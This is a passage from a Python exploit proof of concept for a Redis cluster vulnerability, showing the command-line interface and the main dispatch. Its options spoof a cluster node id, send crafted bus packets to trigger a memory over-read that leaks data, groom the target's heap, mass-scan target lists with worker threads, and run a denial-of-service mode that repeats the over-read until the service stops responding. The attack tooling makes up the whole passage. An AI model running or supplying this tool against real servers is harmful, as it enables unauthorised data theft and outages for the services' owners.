                   f"through the announced hostname of node "
                   f"{tgt.victim.decode()[:8]} (starts: {preview!r})")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or URL "
                                               "(e.g. rediss://host:6379)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=6379,
                            help="Redis client port, used for recon and read-back "
                                 "(default: 6379)")
        parser.add_argument("--bus-port", type=int, default=0,
                            help="Cluster bus port (default: client port + 10000)")
        parser.add_argument("--node-id", default="",
                            help="Node id to spoof as sender (default: pick a known "
                                 "node with no live process behind it)")
        parser.add_argument("--packet-size", type=int, default=DEFAULT_PACKET_SIZE,
                            help=f"Crafted packet size, shapes the receive buffer "
                                 f"allocation (default: {DEFAULT_PACKET_SIZE})")
        parser.add_argument("--retries", type=int, default=4,
                            help="Packets to send before giving up (default: 4)")
        parser.add_argument("--no-groom", action="store_true",
                            help="Do not write and free values on the target to "
                                 "seed the heap with a recognisable pattern")
        parser.add_argument("--groom-count", type=int, default=512,
                            help="Values written then freed when grooming "
                                 "(default: 512)")
        parser.add_argument("--dos", action="store_true",
                            help="After the leak, repeat the over-read until the "
                                 "service stops responding")
        parser.add_argument("--dos-rounds", type=int, default=20,
                            help="Maximum rounds in --dos mode (default: 20)")
        parser.add_argument("--restore", action="store_true",
                            help="Clear the injected hostname when finished")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        parser.add_argument("--timeout", type=float, default=8.0,
                            help="Socket timeout in seconds (default: 8.0)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 bus_port=args.bus_port, packet_size=args.packet_size,
                 timeout=args.timeout)
        else:
            parsed = _parse_target(args.host, args.port)
            host_, port_, tls_, _path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                tls_ = True
            if args.no_tls:
                tls_ = False
            exploit(host_, port_, tls_,
                    bus_port=args.bus_port,
                    packet_size=args.packet_size,
                    retries=args.retries,
                    groom=not args.no_groom,
                    groom_count=args.groom_count,
                    node_id=args.node_id.encode(),
                    dos=args.dos,
                    dos_rounds=args.dos_rounds,
                    restore=args.restore,
                    timeout=args.timeout)